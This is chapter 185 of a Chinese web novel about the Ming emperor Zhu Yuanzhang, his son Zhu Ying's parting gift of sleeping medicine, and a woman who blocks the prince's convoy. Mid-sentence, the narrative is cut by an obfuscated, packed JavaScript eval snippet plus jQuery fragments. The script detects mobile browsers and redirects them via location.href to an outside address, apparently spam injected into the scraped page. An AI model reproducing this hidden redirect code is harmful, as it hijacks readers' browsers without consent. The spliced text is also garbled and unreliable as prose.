第185章 拦路的神秘女人
作品:《我一皇子小透明,怎么全想嫁我?》 朱元璋背着手,气鼓鼓地站着。
他听着身后传来的脚步声,心里越想越委屈。
朕对他这么好,又是派大军护送,又是给钱修府邸。
这小子连句软话都不会说吗?
哪怕是骗骗朕也好啊!
就在他满心失望,准备回宫的时候。
一只手突然伸了过来,拽住了他的袖子。
朱元璋浑身一僵。
还没等他回头,一个冰凉的小瓷瓶就被塞进了他的手心里。
紧接着,那个熟悉的声音在耳边响起。
“父皇。”
这一次,朱楹的声音里没有了戏谑,也没有了调侃。
只有一种淡淡的,却又无比真挚的关切。
“这是儿臣特意配的助眠药。”
“里面的成分很温和,不会伤身。”
“您晚上要是睡不着,就吃一颗。”
“别总是熬夜批奏折,有些事交给大哥去做就行了。”
“您年纪大了,该享享清福了。”
“少操点心,比什么补药都强。”
说完这几句话,朱楹没有再停留。
他松开手,转身大步流星地登上了马车。
“出发!”
随着一声令下,车队缓缓启动。
车轮滚滚,卷起一阵烟尘。
朱元璋依然保持着那个姿势,手里紧紧攥着那个小瓷瓶。
他愣在原地,仿佛变成了一尊雕塑。
直到车队走远了,只剩下一个模糊的影子。
他才慢慢回过神来。
他低下头,看着手心里的那个瓷瓶。
普通的白瓷,上面甚至连个标签都没有。
但握在手里,却觉得沉甸甸的,热乎乎的。
“这……这是那逆子给朕的?”
朱元璋喃喃自语,嘴角不自觉地勾起一抹弧度。
但他很快又板起了脸,转头看向朱标。
那眼神里带着几分得意,又有几分抱怨。
“标儿,你说这小子是不是属驴的?”
“朕不骂他,他不给。”
“非得朕赶他走,他才肯拿出来?”
“是不是朕不主动要,他就永远不知道关心朕?”
朱标一直站在旁边看着这一幕,心里也是感慨万千。
这对父子啊,真是一对冤家。
明明心里都有对方,却非要装出一副不在乎的样子。
他笑了笑,一语道破了天机。
“父皇,您这就冤枉二十二弟了。”
“儿臣刚才看得很清楚。”
“二十二弟是故意走得那么急的。”
“他是怕当面给您,您拉不下脸来收。”
“他是等着您先开口赶人,才好找个台阶把药给您。”
“这孩子,心思细着呢。”
被儿子戳穿了心思,朱元璋老脸一红。
他把那个瓷瓶举起来,作势就要往地上摔。
“胡说八道!”
“朕稀罕他的药?”
“朕身体好着呢!根本不需要这种东西!”
“这种来路不明的药,谁知道有没有毒!”
“朕这就把它摔了!”
说是摔,但那个动作却慢得离谱。
那只手高高举起,却迟迟没有落下。
眼神还不停地往朱标那边瞟,显然是在等着人来拦。
朱标太了解自家老爹了。
他连忙上前一步,双手托住了朱元璋的手臂。
“父皇不可!”
“这毕竟是二十二弟的一片孝心啊!”
“而且刚才二十二弟说了,这是他特意配的,肯定是对症良药。”
“您就算不吃,留个念想也好啊。”
有了台阶,朱元璋顺势就收回了手。
他哼了一声,把瓷瓶揣进了怀里,还要装出一副勉为其难的样子。
“哼,也就是看在你求情的份上。”
“朕暂且留着。”
“等那小子回来,朕再好好教训他!”
“竟然敢跟朕耍心眼,反了他了!”
说完,他背着手,迈着八字步往回走。
脚步轻快了许多,甚至嘴里还哼起了不知名的小曲儿。
朱标跟在后面,看着那个显得有些轻松的背影,忍不住笑了。
“父皇。”
他快走两步,跟了上去。
“那个安王府……您真的要工部一个月建好吗?”
“这工期是不是太赶了点?”
“慢工出细活,要是建得太潦草,恐怕二十二弟住着也不舒服。”
朱元璋停下脚步,转过头。
他的脸上露出了一个极其诡异的笑容。
那笑容里充满了算计,充满了狡猾。
就像是一只刚刚偷到了鸡的老狐狸。
“赶?”
“朕就是要赶!”
“越快越好!”
“不仅要快,还要大张旗鼓地建!”
“朕要让全天下都知道,朕有多疼这个儿子!”
朱标被这个笑容弄得有些发毛。
他总觉得,父皇这话里有话。
但这其中的深意,他又一时半会儿琢磨不透。
……
官道上,车队蜿蜒如龙。
三千
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17262961|196293||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
侍卫护送着两辆马车,浩浩荡荡地向北进发。
朱楹独自坐在宽敞的马车里。
车厢内铺着厚厚的波斯地毯,角落里放着冰鉴,散发着丝丝凉气。
案几上摆满了各色瓜果点心,正如朱标所说,都是他爱吃的。
但他却觉得有些无聊。
这种长途跋涉,最是枯燥乏味。
马车的颠簸虽然被减震装置削弱了不少,但那种摇晃感依然让人昏昏欲睡。
“老二十二!”
就在这时,车帘被人掀开。
朱橞探进半个脑袋,手里还提着两壶酒。
“一个人闷不闷?”
“哥哥我来找你喝两杯!”
也没等朱楹答应,他就自顾自地钻了进来。
“这可是宫里珍藏的百年陈酿,我刚才特意从父皇那顺来的。”
“来来来,咱们兄弟走一个!”
有了朱橞这个活宝,车厢里的气氛顿时活跃了不少。
两人推杯换盏,互相调侃。
从朝堂上的趣事,聊到刚才的奶瓶风波。
朱橞喝了几杯酒,话匣子就打开了,也不再像刚才那么拘谨。
就在两人喝得正起劲的时候。
马车突然停了下来。
紧接着,负责护送的锦衣卫千户的声音在车外响起。
“启禀安王殿下,谷王殿下。”
“前方有个女子拦路。”
“说是……说是要找安王殿下负责。”
“噗!”
朱橞刚喝进嘴里的一口酒,直接喷了出来。
他瞪大了眼睛,不可思议地看着朱楹。
脸上的表情极其精彩,从震惊到八卦,再到一种“你小子行啊”的猥琐笑容。
“负责?”
“老二十二,你可以啊!”
“这才刚出京城没多久,就有风流债找上门了?”
“快说说,是哪家的姑娘?”
“是不是那天那个留下草莓印的?”
朱楹也愣了一下。
负责?
他在京城虽然有些名声,但也仅限于纨绔子弟的圈子。
至于女人……除了海别,他好像没招惹过谁吧?
而且海别现在应该在京郊安顿下来了才对。
难道是有人故意碰瓷?
还是方孝孺那老家伙不甘心,派人来使的美人计?
想到这里,朱楹的脸色沉了下来。
他放下酒杯,整理了一下衣袍,语气变得淡漠。
“千户。”
“把人带过来。”
“本王倒要看看,是谁敢拦本王的车驾。”

